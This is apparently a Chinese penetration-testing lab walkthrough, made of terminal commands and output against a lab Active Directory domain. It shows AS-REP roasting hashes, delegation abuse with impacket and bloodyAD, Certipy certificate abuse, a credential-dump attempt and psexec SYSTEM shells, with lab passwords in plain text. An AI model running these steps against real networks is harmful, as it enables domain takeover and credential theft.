┌──(root㉿kali)-[~/Desktop/tmp] └─# nmap 39.98.112.16 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-02 02:06 EDT Nmap scan report for 39.98.112.16 Host is up (0.00020s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 135.21 seconds
/usr/share/doc/python3-impacket/examples/GetNPUsers.py: 165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() + datetime.timedelta(days = 1) $krb5asrep$ 23 $lixiuying@xiaorang.lab@XIAORANG.LAB:28dc48860e014c6d18a29bad65ba6cc8$ b6924f808e7a4d56bd403bc0e5286ad6b1cb1a39ee59331e484a90801fa82bbcb6b685236b61c5976a05330006b74f304fcfb56793de9c78d38caa16075bef947ad898c8b1130dad240a8298a98e86f18af90cebb015502c7758d6a32c366a42395d08877902d303ee0662540653b3c87c14d6d5319b63e5c5eaf6250d7e82d48d57afc56492344b618b054d6a75cf5ee014f00e92311479dba0ccb54c77b072213a42b79862f913a77a6b0fae4f9a67755ca83b583220c30b6f77296098c71bb42a2cbd8197bcd4e30598ecfbf519899b44cc5d723a4a49fc26db1a4b678a1afd4acea4b42b72949e677edd [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) $krb5asrep$ 23 $huachunmei@xiaorang.lab@XIAORANG.LAB:2fad79d14745c573303bd34c39f80e7f$ 0d9522fc4669f0e04b80e36cef3370c1cce5e232e2b131d6d652c7e2dad452a86918cfbd25e78a701896943ba6b50e241f27b8af4b5d79cffef11fd4ee2392325a468f8ff648e70a74e7d9d2ce58990dc91b36a5c84c2ffa7f45e7cdd852dc2a8df1e5e2f9491eb5c5753cdf54cac6cc2eed2a8b9b58c3693b058fcb6a6187ae49c4d80732aa40e0e3296313962128d414b85f75cb87af301ca39664fffc192e1b62755178c4c6b8f13dd70ff912c4f637a970f33bc367e84e4c1dcb31ade4a20b0bdf8bd7c64c19adf091f4850a8ea2c7a7428bbcb17ef7c87e02ae3b5f9637902612ba8fbe65b7599a7d7e [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] User lihongxia@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User wangyulan@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User chenjianhua@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] EVILCOMPUTER $ can now impersonate users on XR-0687$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] EVILCOMPUTER$ (S-1-5-21-3745972894-1678056601-2622918667-1147)
请求并冒充域管权限的服务票据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(root㉿kali)-[~/Desktop/tmp] └─# impacket-getST xiaorang.lab/EVILCOMPUTER$:'123@#ABC' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating Administrator /usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() /usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() + datetime.timedelta(days=1) [*] Requesting S4U2self /usr/share/doc/python3-impacket/examples/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() /usr/share/doc/python3-impacket/examples/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() + datetime.timedelta(days=1) [*] Requesting S4U2Proxy [*] Saving ticket in Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache
┌──(root㉿kali)-[~/Desktop/tmp] └─# impacket-psexec 'xiaorang.lab/administrator@XR-0687.xiaorang.lab' -target-ip 172.22.15.35 -codec gbk -no-pass -k Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 172.22.15.35..... [*] Found writable share ADMIN$ [*] Uploading file RHzxEZPZ.exe [*] Opening SVCManager on 172.22.15.35..... [*] Creating service etRo on 172.22.15.35..... [*] Starting service etRo..... [!] Press help for extra shell commands Microsoft Windows [版本 10.0.20348.1668] (c) Microsoft Corporation。保留所有权利。
┌──(root㉿kali)-[~/Desktop/tmp] └─# certipy-ad find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -vulnerable -stdout Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Trying to get CA configuration for 'xiaorang-XR-CA-CA' via CSRA [!] Got error while trying to get CA configuration for 'xiaorang-XR-CA-CA' via CSRA: Could not connect: [Errno 111] Connection refused [*] Trying to get CA configuration for 'xiaorang-XR-CA-CA' via RRP [!] Got error while trying to get CA configuration for 'xiaorang-XR-CA-CA' via RRP: [Errno Connection error (224.0.0.1:445)] [Errno 111] Connection refused [!] Failed to get CA configuration for 'xiaorang-XR-CA-CA' [*] Enumeration output: Certificate Authorities 0 CA Name : xiaorang-XR-CA-CA DNS Name : XR-CA.xiaorang.lab Certificate Subject : CN = xiaorang-XR-CA-CA, DC = xiaorang, DC = lab Certificate Serial Number : 3ECFB0112E93BE9041059FA6DBB3C35A Certificate Validity Start : 2023-06-03 07:19:59+00:00 Certificate Validity End : 2028-06-03 07:29:58+00:00 Web Enrollment : Disabled User Specified SAN : Unknown Request Disposition : Unknown Enforce Encryption for Requests : Unknown Certificate Templates : [!] Could not find any certificate templates
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 7 [*] Got certificate with DNS Host Name 'XR-DC01.xiaorang.lab' [*] Certificate has no object SID [*] Saved certificate and private key to 'xr-dc01.pfx'
用申请到的证书,申请域控的 TGT:
1 2 3 4 5 6 7
┌──(root㉿kali)-[~/Desktop/tmp] └─# certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 -debug Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: xr-dc01$@xiaorang.lab [*] Trying to get TGT... [-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
使用 certipy 请求 TGT 失败,出现 KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type) 错误。
┌──(root㉿kali)-[~/Desktop/tmp] └─# certipy-ad cert -pfx xr-dc01.pfx > xr-dc01.pem Certipy v4.8.2 - by Oliver Lyak (ly4k) ┌──(root㉿kali)-[~/Desktop/tmp] └─# bloodyAD -d xiaorang.lab -u 'EVILCOMPUTER2 $' -c ':xr-dc01.pem' --host 172.22.15.13 --secure add rbcd 'xr-dc01$' 'EVILCOMPUTER2$' [!] No security descriptor has been returned, a new one will be created [+] EVILCOMPUTER2 $ can now impersonate users on xr-dc01$ via S4U2Proxy
[*] Getting TGT for user [*] Impersonating Administrator /usr/share/doc/python3-impacket/examples/getST.py: 380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() /usr/share/doc/python3-impacket/examples/getST.py: 477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() + datetime.timedelta(days = 1) [*] Requesting S4U2self /usr/share/doc/python3-impacket/examples/getST.py: 607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() /usr/share/doc/python3-impacket/examples/getST.py: 659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() + datetime.timedelta(days = 1) [*] Requesting S4U2Proxy [*] Saving ticket in Administrator@LDAP_xr-dc01.xiaorang.lab@XIAORANG.LAB.ccache ┌──(root㉿kali)-[~/Desktop/tmp] └─# export KRB5CCNAME = Administrator@LDAP_xr-dc01.xiaorang.lab@XIAORANG.LAB.ccache
[*] Dumping Domain Credentials (domain\uid: rid: lmhash: nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets [-] 'NoneType' object has no attribute 'getRemoteHost' [*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter [*] Cleaning up...
[*] Requesting shares on 172.22.15.13..... [*] Found writable share ADMIN$ [*] Uploading file FavsxEaA.exe [*] Opening SVCManager on 172.22.15.13..... [*] Creating service fjnA on 172.22.15.13..... [*] Starting service fjnA..... [!] Press help for extra shell commands Microsoft Windows [版本 10.0.14393] (c) 2016 Microsoft Corporation。保留所有权利。